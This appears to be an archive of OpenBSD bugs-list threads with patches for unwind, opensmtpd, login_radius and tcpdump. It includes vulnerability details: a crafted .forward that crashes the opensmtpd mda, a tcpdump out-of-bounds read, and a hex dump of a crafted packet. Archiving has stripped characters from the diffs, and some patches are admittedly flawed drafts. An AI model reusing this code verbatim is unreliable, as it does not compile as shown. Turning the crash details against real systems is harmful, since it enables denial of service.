Re: unwind is too noisy on sendto failures
On Mon, Apr 10, 2023 at 10:17:08AM +0200, Peter J. Philipp wrote:
> On Sat, Apr 08, 2023 at 08:28:05PM +0200, Peter J. Philipp wrote:
> /cut
> > Apr 6 14:43:05 polarstern unwind[97893]: bad packet: too large: 65552 -
> > pool.ntp.org. IN
> > Apr 6 14:46:25 polarstern unwind[97893]: bad packet: too large: 65552 -
> > pool.ntp.org.mainrechner.de. IN
>
> /cut
> > Any thoughts?
> >
> > Best Regards,
> > -peter
>
> OK I traced this log down, by mere accident. It is a condition when the
> forwarder isn't listening on TCP (or UDP). Perhaps we need a better syslog
> for this, I'll see later today if I can produce a patch.
>
> Best Regards,
> -peter
Alright, I have a patch together with the first patch that I sent. I tested
this by killing my forwarder and pinging centroid.eu (my site), the error
message is correct in my view. But you're the judge of that.
>
Apr 13 20:53:26 polarstern unwind[73363]: terminating
Apr 13 20:53:27 polarstern resolvd[81113]: rebuilding: new unwind
Apr 13 20:54:12 polarstern unwind[16252]: remote nameserver had no listening
port: centroid.eu. IN A
^Z[1] + Suspendedtail -f /var/log/daemon
root@polarstern# dddctl start
starting delphinusdnsd
root@polarstern# fg
tail -f /var/log/daemon
<
(after this restart of delphinusdnsd forwarder this pinged fine, no more logs)
The patch is below my .signature,
Best Regards,
-peter
Index: resolver.c
===
RCS file: /cvs/src/sbin/unwind/resolver.c,v
retrieving revision 1.158
diff -u -p -u -r1.158 resolver.c
--- resolver.c 8 Feb 2023 08:01:25 - 1.158
+++ resolver.c 13 Apr 2023 18:51:01 -
@@ -954,13 +954,19 @@ resolve_done(struct uw_resolver *res, vo
running_res = --rq->running;
if (answer_len < LDNS_HEADER_SIZE) {
- log_warnx("bad packet: too short");
+ if (answer_len != -1)
+ log_warnx("bad packet: too short");
goto servfail;
}
if (answer_len > UINT16_MAX) {
- log_warnx("bad packet: too large: %d - %s", answer_len,
- query_imsg2str(query_imsg));
+ if (answer_len == 65552) {
+ log_warnx("remote nameserver had no listening port: %s",
+ query_imsg2str(query_imsg);
+ } else {
+ log_warnx("bad packet: too large: %d - %s", answer_len,
+ query_imsg2str(query_imsg));
+ }
goto servfail;
}
answer_header->answer_len = answer_len;
Hetzner arm64 Cloud
Hi, Yesterday hetzner.com came out with arm64 cloud instances, I tried one out. Here is what I found. The images they give you a choice of does not include OpenBSD, so I had to get a ubuntu OS. That's fine the EFI partition was already mounted. Through trialing this I found the best way of getting the OpenBSD loader to boot was the following way: 1. place miniroot73.img on the EFI partition root (/boot/efi/) 2. reboot 3. press escape to get to the BIOS, there is 3 options one is a configuration option under 1, enter it. I'm working off memory here I didn't save anything so take it with a grain of salt on exactness. In this option is an option to create a RAM drive from a file, go there and enter the miniroot73.img (45MB). The down arrows didn't work in this BIOS so it was great that it wrapped around going up. 4. next go back into the main bios screen by pressing escape. There is option 3 for boot options, enter it. There is a boot from file option enter it. Select the RAM drive and manouver your way to the bootaa64.efi file. Press enter. 5. OpenBSD loader now loads. ls displays bsd and bsd.rd, the console is on comcons0 or something like that. Switching to fb0 works too. Then when pressing boot a blank screen happens. Waiting a while no prompts and I didn't try to blind type anything. Doing this again with fb0 doesn't work either. 6. Full stop, I didn't get further. I then deleted my instance as ubuntu is not good enough for me. I guess we'll have to wait until the pros get to it. Thanks! Best Regards, -peter
/var/db/kernel.SHA256 - kernel relinking
On a new amd64 install w/ install73.img there was a shutdown message about kernel relinking failing. A manual sha256 -h /var/db/KERNEL.SHA256 /bsd also failed - no such file. My /var/db had kernel.SHA256 but no KERNEL.SHA256. I'm not the only one: https://daemonforums.org/showthread.php?t=12389 My fix was to cp kernel.SHA256 KERNEL.SHA256 and run sha256 -h /var/db/KERNEL.SHA256 /bsd My other machine was running an up-to-date current and /var/db is also populated w/ kernel.SHA256. -- J. Scott Heppler Penguin Innovations - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - NOTICE: This e-mail message and any attachments may contain legally privileged and confidential information intended solely for the use of the intended recipients. If you are not an intended recipient, you are hereby notified that you have received this message in error and any review, dissemination, distribution, copying, or other unauthorized use of this email and any attachment is strictly prohibited. If you have received this email in error, please notify the sender immediately and delete the message and any attachments from your system.
Re: unwind is too noisy on sendto failures
On Sat, Apr 08, 2023 at 08:28:05PM +0200, Peter J. Philipp wrote: /cut > Apr 6 14:43:05 polarstern unwind[97893]: bad packet: too large: 65552 - > pool.ntp.org. IN > Apr 6 14:46:25 polarstern unwind[97893]: bad packet: too large: 65552 - > pool.ntp.org.mainrechner.de. IN /cut > Any thoughts? > > Best Regards, > -peter OK I traced this log down, by mere accident. It is a condition when the forwarder isn't listening on TCP (or UDP). Perhaps we need a better syslog for this, I'll see later today if I can produce a patch. Best Regards, -peter
Re: unwind is too noisy on sendto failures
On Fri, Apr 07, 2023 at 05:50:57PM +0200, p...@delphinusdns.org wrote: > >Synopsis:unwind is too noisy on sendto failures / it's misleading /cut > This leaves just one syslog for this: > > Apr 7 17:45:43 stern unwind[28804]: check_resolver_done: bad packet: too > short: -1 > /cut I forgot to mention as I got another log about unwind on April 6th which put me on this debug effort including the filtering (to put unwind on my forwarder) etc. Apr 6 14:43:05 polarstern unwind[97893]: bad packet: too large: 65552 - pool.ntp.org. IN Apr 6 14:46:25 polarstern unwind[97893]: bad packet: too large: 65552 - pool.ntp.org.mainrechner.de. IN Unfortunately I have no more information. My flowd (I just checked) does only IPv4 and apparently IPv6 was used in both cases. (off topic but is there a way that flowd does IPv6? perhaps a misconfig on my end). Here is what I reason about these packets, they are TCP not UDP due to their size, they are over IPv6, and one of them hit one of my nameservers (for the zone mainrechner.de). Unfortunately some time ago I put in a memory log with syslog for delphinusdnsd so the log is long lost. Also I have seen an AXFR oddity to my IPv6 nameserver once. This tells me little other than if there is a MITM happening it is closer to Germany than Netherlands (where my 2nd nameserver resides at openbsd.amsterdam). Also the first bad packet could not have hit my nameservers but rather went to pool.ntp.org's nameservers. I grep'ed a little through the unwind sources and there is a 65552 magic number as a buffer size, but I don't understand the code. I just know that a very large response like that is perhaps and more probably bogus. Any thoughts? Best Regards, -peter
Re: segmentation fault in opensmtpd mda
On Sat, Mar 18, 2023 at 01:10:49PM -0600, Todd C. Miller wrote:
> Thanks, I was unable to get a backtrace so this really helped. I
> think the safest thing to do is to just return an error if the
> expanded string is NULL. I'm not sure if there are other expansions
> that can also be NULL here.
>
> Alternately, we could move the check to be specific to the
> else if (!strcasecmp("mda", rtoken)) {
> ...
> }
>
> block.
I like your fix. It fixes the issue at hand. I tested this on my amd64
box.
However when I read the mda_variables.c code I wanted to go exceed a buffer,
originally I was almost convinced there was an off by one. The mda macro
thing stopped me short of completing my analysis because of the segfault.
Having the return there may have opened an avenue for that so what I'm
gonna play with it when I find some time next week, perhaps there is a
way to do more damage now that we return and not core.
Some facts, if I remember them right. LINE_BUF is 2048 bytes, the .forward
max size is 4096 bytes, and I think EXPAND_BUF is 128 bytes or so (here I
could be mistaken).
Thanks! Also thanks to Omar Polo who provided a great backtrace and debug.
I wish I would have done this to save time. But it makes us a great team!
Best Regards,
-peter
> - todd
>
> Index: mda_variables.c
> ===
> RCS file: /cvs/src/usr.sbin/smtpd/mda_variables.c,v
> retrieving revision 1.7
> diff -u -p -u -r1.7 mda_variables.c
> --- mda_variables.c 14 Jun 2021 17:58:15 - 1.7
> +++ mda_variables.c 18 Mar 2023 19:03:11 -
> @@ -51,7 +51,7 @@ mda_expand_token(char *dest, size_t len,
> {
> charrtoken[MAXTOKENLEN];
> chartmp[EXPAND_BUFFER];
> - const char *string;
> + const char *string = NULL;
> char *lbracket, *rbracket, *content, *sep, *mods;
> ssize_t i;
> ssize_t begoff, endoff;
> @@ -159,6 +159,8 @@ mda_expand_token(char *dest, size_t len,
> return -1;
>
> if (string != tmp) {
> + if (string == NULL)
> + return -1;
> if (strlcpy(tmp, string, sizeof tmp) >= sizeof tmp)
> return -1;
> string = tmp;
Re: segmentation fault in opensmtpd mda
On Sat, Mar 18, 2023 at 03:06:43PM +0100, p...@delphinusdns.org wrote: > >Synopsis:segmentation fault in opensmtpd mda > >Category:system > >Environment: > System : OpenBSD 7.2 > Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022 > > r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP > > Architecture: OpenBSD.arm64 > Machine : arm64 > >Description: > I would have waited another week after contacting Gilles at his address > and at his openbsd.org address last week, but we're out of -beta and I'd like > to see this addressed before release. It may already be too late though. > I've found a way to crash the mda that is forked from opensmtpd before the > exec. It is a specially crafted .forward file that does this. In the worst > case scenario it will fill up /var with smtpd.core's when the > kern.nosuidcoredump sysctl is set to 3. The queue files are stuck in queue > and have to be removed either with smtpctl remove or until they time out. > A lot of these could fill /var with corefiles quicker. Actually if the kern.nosuidcoredump is anything but 3, chances are the corefile will be in the attackers $HOME, which for a hacker could be a lot more exciting by being able to garner information out of this core. Thank god for getpwnam_shadow() in OpenBSD meaning forkmda() in smtpd.c can't get snippets of the password database in the .core. However systems like FreeBSD in the portable version may not be so lucky. It does a chdir() to $HOME of the user so chances are that's where the core file rests in peace later. I wanted to add this to make the severity more important for this bug. Best Regards, -peter > >How-To-Repeat: > Here is the "exploit" code that I stuck into my .forward, I also gave > this to Gilles. > You would apply this with cc -g -o makeforward makeforward.c and then fill the > .forward with ./makeforward > ~/.forward > > >>> Please do not try this out on your account, make a test account <<< > >Fix: > I think some struct envelopes need to be memset to 0's (zeroized). But > where exactly that is I don't know. > > > dmesg: > see earlier messages >
manpage malloc.9 documentation bug
Sync manpage malloc.9 with reality (disregarding M_LAST). Notice it shows up in sysctl kern.malloc.kmemnames as "log". Best Regards, -peter Index: malloc.9 === RCS file: /cvs/src/share/man/man9/malloc.9,v retrieving revision 1.68 diff -u -p -u -r1.68 malloc.9 --- malloc.93 Feb 2022 17:18:22 - 1.68 +++ malloc.917 Mar 2023 14:30:36 - @@ -173,6 +173,8 @@ VFS mount structs. NFS request headers. .It Dv M_NFSMNT NFS mount structures. +.It Dv M_LOG +Messages in kernel log stash. .It Dv M_VNODE Dynamically allocated vnodes. .It Dv M_DQUOT
Re: resistance against single-even upsets
On Tue, Mar 14, 2023 at 10:34:48AM -0600, Theo de Raadt wrote:
> Good god, imagine this bit flip happened *anywhere else*, like in the
> page tables, or in the code or data or stack of chrome, or basically
> *anywhere*
>
> Shall we change them all?
The example I gave was the last resort other than pf enabled to a kernel
compromise afaik. There is a few of them perhaps, they've not been fixed
for decades lying dormant with a sysctl knob to turn them off.
> Shall we change the compiler to not allow checks like this?
No not at all.
> Shall we wait for a compiler diff from you?
No it's above my head and it would take me decades. :-)
Happy Pi day Theo, it's not quite April 1st but I think this is a bit more
serious. Just think about it, and perhaps in 10-20 years you can consider
it?
Best Regards,
-peter
> p...@delphinusdns.org wrote:
>
> > >Synopsis: can we resist agains bit flipping?
> > >Category: system
> > >Environment:
> > System : OpenBSD 7.2
> > Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
> >
> > r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> >
> > Architecture: OpenBSD.arm64
> > Machine : arm64
> > >Description:
> > https://en.wikipedia.org/wiki/Single-event_upset
> >
> > A single event upset gave someone in belgium who was in a poll, 4096
> > extra votes. When I think about this bit flip and look at the kernel
> > code for an ultra secure operating system there is not much stopping
> > someone to try an attack during a cosmic storm or increased solar
> > activity. Perhaps a bit flips somewhere in the CPU or RAM?
> >
> > pjp@polarstern$ grep sourceroute ip_input.c
> > int ip_dosourceroute = 0;
> > if (!ip_dosourceroute) {
> > if (!ip_dosourceroute)
> > _dosourceroute);
> >
> > Like here. As you know someone found something last week if this were
> > enabled. But the way this check is. It doesn't check for the low bit set
> > to
> > one but it checks for the inverted value, so if the 12th bit was flipped in
> > a
> > solar storm ip_dosourceroute would now be 4096. And the system would be
> > wide
> > open.
> >
> > >How-To-Repeat:
> > Hackers probably check the weather report like
> > https://spaceweather.com/ for increased solar activity and then fill
> > the CPU caches with attempts to get a bit flip happening. The odds
> > aren't in their favour but who knows they may get lucky.
> > >Fix:
> > I propose all these variables to be monitored occasionally with a CRC
> > check and if there is a bit flip happening to unset it to the right value.
> > This is a lot of work but may be worth it. OpenBSD would never be faring to
> > space right? I have no code but trying to think around how to do this.
> >
> >
> > dmesg:
> > cut
> >
>
Re: unsafe macro in tcpdump/print-ike.c and /etc/tcpdump.conf
On Tue, Mar 07, 2023 at 09:35:28AM +0100, p...@delphinusdns.org wrote:
> >Synopsis:unsafe macro in tcpdump/print-ike.c and /etc/tcpdump.conf
> >Category:user
> >Environment:
> System : OpenBSD 7.2
> Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
>
> r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
>
> Architecture: OpenBSD.arm64
> Machine : arm64
> >Description:
> The macro TCHECK() is undef'ed in print-ike.c and a worse macro that
> didn't see repeated fixes is added. I saw this while "fixing" tcpdump with
I'm seeing other things in print-ike.c which makes me happy that I did this
policy thing. I'm not very far into the execution flow but I think it can
be crashed. Please follow with me, first in ike.h:
#define IKEV2_PAYLOAD_TYPES_INITIALIZER \
{ "SA", /* 33 */\
"KE", /* 34 */\
"IDi",/* 35 */\
"IDr",/* 36 */\
"CERT", /* 37 */\
"CERTREQ",/* 38 */\
"AUTH", /* 39 */\
"NONCE", /* 40 */\
"N", /* 41 */\
"D", /* 42 */\
"V", /* 43 */\
"TSi",/* 44 */\
"TSr",/* 45 */\
"E", /* 46 */\
"CP", /* 47 */\
"EAP",/* 48 */\
}
There is 16 elements. This #define is then used in print-ike.c like so:
842 static const char *plv2types[] = IKEV2_PAYLOAD_TYPES_INITIALIZER
;
843 u_int8_t next_type;
And then there is this check:
853 if (type < PAYLOAD_PRIVATE_MIN && type >= PAYLOAD_IKEV2_SA)
854 printf("\n\t%spayload: %s len: %hu", ike_tab_offset(),
855 plv2types[type - PAYLOAD_IKEV2_SA], this_len);
$ grep PAYLOAD_PRIVATE_MIN ike.h
#define PAYLOAD_PRIVATE_MIN 128
$ grep PAYLOAD_IKEV2_SA ike.h
#define PAYLOAD_IKEV2_SA33
Meaning type can be a value between 33 and 127. But there is only 16 elements
in char *plv2types[] so if types is say 127 it will read beyond this array.
I hope I'm not dreaming. Please confirm I'm not dreaming. I think this is a
boom on tcpdump. Do I need to write a proof of concept or are you following
me?
Best Regards,
-peter
Re: unsafe macro in tcpdump/print-ike.c and /etc/tcpdump.conf
On Tue, Mar 07, 2023 at 09:35:28AM +0100, p...@delphinusdns.org wrote:
> >Synopsis:unsafe macro in tcpdump/print-ike.c and /etc/tcpdump.conf
I hope I made some impact on this. Let me spice it up a little more with an
updated /etc/tcpdump.conf file. I forgot to add ntp to the default so I added
that. Also this implementation errors out on 802_11 file, I'll fix that, if
you like it. If you don't like it I'm worried this change will get buried as
I'm not able to maintain my own code on top of OpenBSD's, things happen too
quickly at OpenBSD.
# $OpenBSD$
# /etc/tcpdump.conf policy file
default_L2="ether, llc"
default_L3="ip, ip6, arp"
default_L4="icmp, tcp, udp, icmp6"
default_L7="domain, ntp"
# the default policy
policy default { $default_L2, $default_L3, $default_L4, $default_L7 }
# only allow ethernet
policy ethernet { ether, llc }
# allow tunnels
tunnels="gre, etherip, enc, wg, ipsec"
policy tunnels { $default_L2, $default_L3, $default_L4, $default_L7, $tunnels }
# all protocols, Use with Caution!
policy all { arp, atalk, atm, bgp, bootp, carp, cdp, cnfp, decnet, dhcp6,
domain, dvmrp, enc, ether, etherip, fddi, frag6, gre, gtp, hsrp, iapp, icmp,
icmp6, igrp, ike, ip, ip6, ip6opts, ipsec, ipx, isoclns, krb, l2tp, llc, lldp,
lwres, mobile, mpls, netbios, nfs, nhrp, nsh, ntp, null, ofp, ospf, ospf6,
pflog, pfsync, pim, ppp, radius, raw, rip, ripng, rt6, sl, slow, smb, snmp,
stp, sunrpc, tcp, tftp, timed, udp, udpencap, usbpcap, vqp, vrrp, wb, wg }
This tcpdump.conf file works for me. To get the old tcpdump behaviour you
would use tcpdump -Yall, but like the comments says Use with Caution.
Best Regards,
-peter
Re: possible segmentation violation in login_radius
On Thu, Mar 02, 2023 at 09:31:57AM -0700, Theo de Raadt wrote:
> Using a global variable like that is poor style.
OK, I'm gonna give it one more attempt:
In RFC 2865 there is no auth code for discarding a message but there is a
255 reserved value which we may be able to use as a hack. Refer to page
14 of RFC 2865.
The updated patch then returns from rad_recv() with that 255 and is caught
in the switch/case, and executes with a following goto retry.
Again I don't have a test network for this.
Best Regards,
-peter
Index: raddauth.c
===
RCS file: /cvs/src/libexec/login_radius/raddauth.c,v
retrieving revision 1.30
diff -u -p -u -r1.30 raddauth.c
--- raddauth.c 28 Jun 2019 13:32:53 - 1.30
+++ raddauth.c 2 Mar 2023 16:46:37 -
@@ -105,6 +105,7 @@
#definePW_CLIENT_PORT_ID 5
#define PW_PORT_MESSAGE18
#define PW_STATE 24
+#define PW_SILENT_DISCARD 255 /* Reserved in RFC 2865 */
#ifndefRADIUS_DIR
#define RADIUS_DIR "/etc/raddb"
@@ -324,6 +325,10 @@ retry:
passwd = "";
break;
+ case PW_SILENT_DISCARD:
+ goto retry;
+ break;
+
default:
if (timedout)
goto retry;
@@ -451,17 +456,22 @@ rad_recv(char *state, char *challenge, u
struct sockaddr_in sin;
u_char recv_vector[AUTH_VECTOR_LEN], test_vector[AUTH_VECTOR_LEN];
MD5_CTX context;
+ ssize_t total_length;
salen = sizeof(sin);
alarm(timeout);
- if ((recvfrom(sockfd, , sizeof(auth), 0,
- (struct sockaddr *), )) < AUTH_HDR_LEN) {
+ total_length = recvfrom(sockfd, , sizeof(auth), 0,
+ (struct sockaddr *), );
+ alarm(0);
+ if (total_length < AUTH_HDR_LEN) {
if (timedout)
return(-1);
errx(1, "bogus auth packet from server");
}
- alarm(0);
+ if (ntohs(auth.length) > total_length) {
+ return (PW_SILENT_DISCARD);
+ }
if (sin.sin_addr.s_addr != auth_server)
errx(1, "bogus authentication server");
Re: possible segmentation violation in login_radius
On Thu, Mar 02, 2023 at 09:09:31AM -0700, Todd C. Miller wrote:
> On Thu, 02 Mar 2023 09:07:38 -0700, "Theo de Raadt" wrote:
>
> > + if (auth.length > total_length)
> >
> > Isn't auth.length a network byte order value?
>
> Ah yes, good catch; it needs an ntohs().
>
> - todd
Hi,
I just looked up RADIUS in RFC 2865 and on page 15 it reads:
->
Length
The Length field is two octets. It indicates the length of the
packet including the Code, Identifier, Length, Authenticator and
Attribute fields. Octets outside the range of the Length field
MUST be treated as padding and ignored on reception. If the
packet is shorter than the Length field indicates, it MUST be
silently discarded. The minimum length is 20 and maximum length
is 4096.
<-
Notice the silent discard, so perhaps we should try again? I adjusted
the patch for this, but I can't test.
Best Regards,
-peter
Index: raddauth.c
===
RCS file: /cvs/src/libexec/login_radius/raddauth.c,v
retrieving revision 1.30
diff -u -p -u -r1.30 raddauth.c
--- raddauth.c 28 Jun 2019 13:32:53 - 1.30
+++ raddauth.c 2 Mar 2023 16:24:02 -
@@ -114,6 +114,7 @@
char *radius_dir = RADIUS_DIR;
char auth_secret[MAXSECRETLEN+1];
volatile sig_atomic_t timedout;
+int silent_discard;
int alt_retries;
int retries;
int sockfd;
@@ -325,7 +326,7 @@ retry:
break;
default:
- if (timedout)
+ if (timedout || silent_discard)
goto retry;
snprintf(_pwstate, sizeof(_pwstate),
"invalid response type %d\n", i);
@@ -451,17 +452,24 @@ rad_recv(char *state, char *challenge, u
struct sockaddr_in sin;
u_char recv_vector[AUTH_VECTOR_LEN], test_vector[AUTH_VECTOR_LEN];
MD5_CTX context;
+ ssize_t total_length;
salen = sizeof(sin);
+ silent_discard = 0;
alarm(timeout);
- if ((recvfrom(sockfd, , sizeof(auth), 0,
- (struct sockaddr *), )) < AUTH_HDR_LEN) {
+ total_length = recvfrom(sockfd, , sizeof(auth), 0,
+ (struct sockaddr *), );
+ alarm(0);
+ if (total_length < AUTH_HDR_LEN) {
if (timedout)
return(-1);
errx(1, "bogus auth packet from server");
}
- alarm(0);
+ if (ntohs(auth.length) > total_length) {
+ silent_discard = 1;
+ return(-1);
+ }
if (sin.sin_addr.s_addr != auth_server)
errx(1, "bogus authentication server");
Re: possible segmentation violation in login_radius
On Thu, Mar 02, 2023 at 08:56:10AM -0700, Todd C. Miller wrote:
> The following patch should fix the problem, can you try it out?
>
> - todd
Hi Todd,
thanks for the quick patch that was really awesome! I modified it a little
to use ntohs(auth.length) in the length check. Other than that it reads
great and compiles. I don't have a radius setup here at the moment so I
can't test it.
Best Regards,
-peter
Index: raddauth.c
===
RCS file: /cvs/src/libexec/login_radius/raddauth.c,v
retrieving revision 1.30
diff -u -p -u -r1.30 raddauth.c
--- raddauth.c 28 Jun 2019 13:32:53 - 1.30
+++ raddauth.c 2 Mar 2023 16:05:20 -
@@ -451,17 +451,21 @@ rad_recv(char *state, char *challenge, u
struct sockaddr_in sin;
u_char recv_vector[AUTH_VECTOR_LEN], test_vector[AUTH_VECTOR_LEN];
MD5_CTX context;
+ ssize_t total_length;
salen = sizeof(sin);
alarm(timeout);
- if ((recvfrom(sockfd, , sizeof(auth), 0,
- (struct sockaddr *), )) < AUTH_HDR_LEN) {
+ total_length = recvfrom(sockfd, , sizeof(auth), 0,
+ (struct sockaddr *), );
+ alarm(0);
+ if (total_length < AUTH_HDR_LEN) {
if (timedout)
return(-1);
errx(1, "bogus auth packet from server");
}
- alarm(0);
+ if (ntohs(auth.length) > total_length)
+ errx(1, "bogus auth packet from server");
if (sin.sin_addr.s_addr != auth_server)
errx(1, "bogus authentication server");
Re: tcpdump/print-cdp.c
On Mon, Feb 27, 2023 at 11:09:29AM +0100, Peter J. Philipp wrote:
> Please give this some scrutiny and commit it to util if you like it. Until
> then I view this bug report as AWAITING RESPONSE :-).
OK, 2 seconds after I sent this I found 3 things wrong with it, so here it
is again and it even compiles!
I'd like to thank Claudio Jeker for helping me along with tcpdump and
committing fixes for earlier bug reports.
Please again, give this function some scrutiny if you decide to commit it,
otherwise I sent patches using fn_printn() I believe earlier in this thread.
There is inherently nothing wrong with that either.
--->
#include
#include
#include
char cp[1501];
char *snapend = [1500];
/* returns -1 on error, 0 on success */
int
fn_print_vis(char *bp, int bplen)
{
char *name, *cp;
int i;
if (bplen <= 0)
return (-1);
if ([bplen] > snapend)
return (-1);
name = calloc(bplen, 5);
if (name == NULL)
return (-1);
cp = name;
for (i = 0; i < bplen && bp[i] != '\0'; i++) {
cp = vis(cp, bp[i], VIS_WHITE, 0);
}
printf("%s", name);
free(name);
return (0);
}
int
main(void)
{
fn_print_vis(cp, 20);
}
<---
Best Regards,
-peter
Re: tcpdump/print-cdp.c
On Sat, Feb 25, 2023 at 09:28:13AM -0300, Crystal Kolipe wrote:
> On Sat, Feb 25, 2023 at 11:55:50AM +0100, Peter J. Philipp wrote:
> > I have found this function in tcpdump/util.c called fn_printn() that escapes
> > text.
>
> Why would we want to use this function instead of just passing the string
> directly to vis? The transformation it performs is not even uniquely
> invertible.
As promised I wrote a function called fn_print_vis() for inclusion in
tcpdump/util.c so that we can use this in future fixing of printf()'s.
Please give this some scrutiny and commit it to util if you like it. Until
then I view this bug report as AWAITING RESPONSE :-).
/* returns -1 on error, 0 on success */
int
fn_print_vis(char *bp, int bplen)
{
char *name, *cp;
int i;
if (cplen <= 0)
return (-1);
if ([bplen] > snaplen)
return (-1);
name = calloc(bplen, 2);/* big enough? */
if (name == NULL)
return (-1);
cp = name;
for (i = 0; i < bplen && bp[i] != '\0'; i++) {
cp = vis(cp, bp[i], VIS_WHITE, 0);
}
printf("%s", name);
free(name);
return (0);
}
Best Regards,
-peter
Re: Possibly wrong information in tcpdump/print-domain.c
See below quoted text.
On Sun, Feb 26, 2023 at 03:08:42PM +0100, p...@delphinusdns.org wrote:
> >Synopsis:Possibly wrong information in tcpdump/print-domain.c
> >Category:user
> >Environment:
> System : OpenBSD 7.2
> Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
>
> r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
>
> Architecture: OpenBSD.arm64
> Machine : arm64
> >Description:
> print-domain.c in tcpdump has some bug. In fact it's not really sure
> itself whether to print a label at 32 bytes or 63 bytes. Though according to
> RFC 1034/1035 a label is maximally 63 bytes. There is some sort of EDNS0 mode
> with bitmap lengths that I don't fully understand myself but it's there and
> a crafted packet can give information that is possibly wrongly printed.
>
> In print-domain.c there is function labellen() which maximally gives back a
> labellen of 32 if it's one of these bitmap packets. In function
> blabel_print() the variable lim is maximally 64 but the for loop will print
> maximally 32 bytes in hex (so 64 characters). Let me show you some code:
>
> 109 slen = (bitlen + 3) / 4;
> 110 lim = cp + 1 + slen;
> 111
> 112 /* print the bit string as a hex string */
> 113 printf("\\[x");
> 114 for (bitp = cp + 1, b = bitlen; bitp < lim && b > 7; b -= 8,
> bit
> p++) {
> 115 TCHECK(*bitp);
> 116 printf("%02x", *bitp);
> 117 }
>
>
> Luckily this discrepancy can't be taken further and all it's doing is printing
> possible misinformation in the tcpdump header, if (-X is not used you'll never
> find out though what the true domain was I think).
>
> >How-To-Repeat:
> It looks like this in a specially crafted packet.
>
> 14:49:01.321764 192.168.177.13 > 255.255.255.255: gre [R] 0800 off 0x0
> (rtaf=0x0) 192.168.177.13.59 > 255.255.255.255.53: [no udp cksum] 13352+
> [1au] A?
> \[x3132333435363738393031323334353637383930313233343536373839303132/256].(0)
> (ttl 255, id 0, len 28) (ttl 255, id 0, len 20)
> : 4500 0014 ff2f 4a05 c0a8 b10d E/J.
> 0010: 4000 0800 00e8 @...
> 0020:
> 0030:
> 0040:
> 0050:
> 0060:
> 0070:
> 0080:
> 0090:
> 00a0:
> 00b0:
> 00c0:
> 00d0:
> 00e0: 0000
> 00f0:
> 0100: 4500 001c E...
> 0110: ff11 4a1b c0a8 b10d ..J.
> 0120: 003b 0035 3428 0100 0001 .;.54(..
> 0130: 0001 4100 3132 3334 3536 3738 3930 A.1234567890
> 0140: 3132 3334 3536 3738 3930 3132 3334 3536 1234567890123456
> 0150: 3738 3930 3132 0100 0100 0100 0100 789012..
> 0160: 2904 d000 0080 00 )
>
> If you would like the file that generated this GRE packet with DNS information
> in it, please mail me for it (I can only give it to @openbsd.org addresses).
> >Fix:
> I'm not going to fix this one, but I wanted to call out the bug!
>
>
> dmesg:
> See my other mails for this.
Sundays is not my days or print-domain.c is too complex for me. I retract
this bug report. The only bug here is the variable lim in blabel_print().
I informed myself in the meanwhile on RFC 2673 which was deprecated by
RFC 6891. So this is a deprecated protocol (binary labels). I don't know
if it should linger around still in the code, that's up for you to decide.
Best Regards,
-peter
Re: possible underflow (wrap) in tcpdump/print-domain.c
> You also need to have a closer look.
> Line 603 is in
> if (DNS_QR(np)) {
> Line 686 is in the corresponding else block. So there is no way to get
> from 603 into 686 and 690.
>
> --
> :wq Claudio
Arghh, you're right! I'm forever shamed :-(. Good call!
Best Regards,
-peter
Re: possible underflow (wrap) in tcpdump/print-domain.c
On Sun, Feb 26, 2023 at 10:17:53AM +0100, Claudio Jeker wrote:
> On Sun, Feb 26, 2023 at 09:52:43AM +0100, p...@delphinusdns.org wrote:
> > >Synopsis: possible underflow (wrap) in tcpdump/print-domain.c
> > >Category: system
> > >Environment:
> > System : OpenBSD 7.2
> > Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
> >
> > r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> >
> > Architecture: OpenBSD.arm64
> > Machine : arm64
> > >Description:
> > While code reading and giving signedness scrutiny in print-domain.c I
> > noticed there being opportunity for variables to underflow into the
> > negative and
> > thus being positive in testing. Here is a code-snippet of function
> > ns_print():
> >
> > 572 void
> > 573 ns_print(const u_char *bp, u_int length, int is_mdns)
> > 574 {
> > 575 const HEADER *np;
> > 576 int qdcount, ancount, nscount, arcount;
> > 577 const u_char *cp;
> > 578 u_int16_t b2;
> > 579
> > 580 np = (const HEADER *)bp;
> > 581 TCHECK(*np);
> > 582 /* get the byte-order right */
> > 583 qdcount = EXTRACT_16BITS(>qdcount);
> > 584 ancount = EXTRACT_16BITS(>ancount);
> > 585 nscount = EXTRACT_16BITS(>nscount);
> > 586 arcount = EXTRACT_16BITS(>arcount);
> >
> > notice qdcount,ancount,nscount and arcount can wrap into the negative and
> > that is being tested like so:
> >
> > 603 while (qdcount--) {
> >
> > But really what's meant is qdcount-- > 0 as there is no negatives in here.
> > I
> > personally don't feel comfortable having tcpdump go deeper into this and
> > print-domain.c is complex(!!) I can only guess that with this it's possible
> > to print domain names that don't exist with this. I just don't feel all
> > that
> > comfortable with this, it gives me a bad feeling.
> > >How-To-Repeat:
> > code-reading.
> > >Fix:
> >
> > ? tcpdump.patch
> > Index: print-domain.c
> > ===
> > RCS file: /cvs/src/usr.sbin/tcpdump/print-domain.c,v
> > retrieving revision 1.27
> > diff -u -p -u -r1.27 print-domain.c
> > --- print-domain.c 24 Jan 2020 22:46:36 - 1.27
> > +++ print-domain.c 26 Feb 2023 08:42:21 -
> > @@ -600,7 +600,7 @@ ns_print(const u_char *bp, u_int length,
> > printf(" [%dq]", qdcount);
> > /* Print QUESTION section on -vv */
> > cp = (const u_char *)(np + 1);
> > - while (qdcount--) {
> > + while (qdcount-- > 0) {
> > if (qdcount < EXTRACT_16BITS(>qdcount) - 1)
> > putchar(',');
> > if (vflag > 1) {
> > @@ -614,10 +614,10 @@ ns_print(const u_char *bp, u_int length,
> > }
> > }
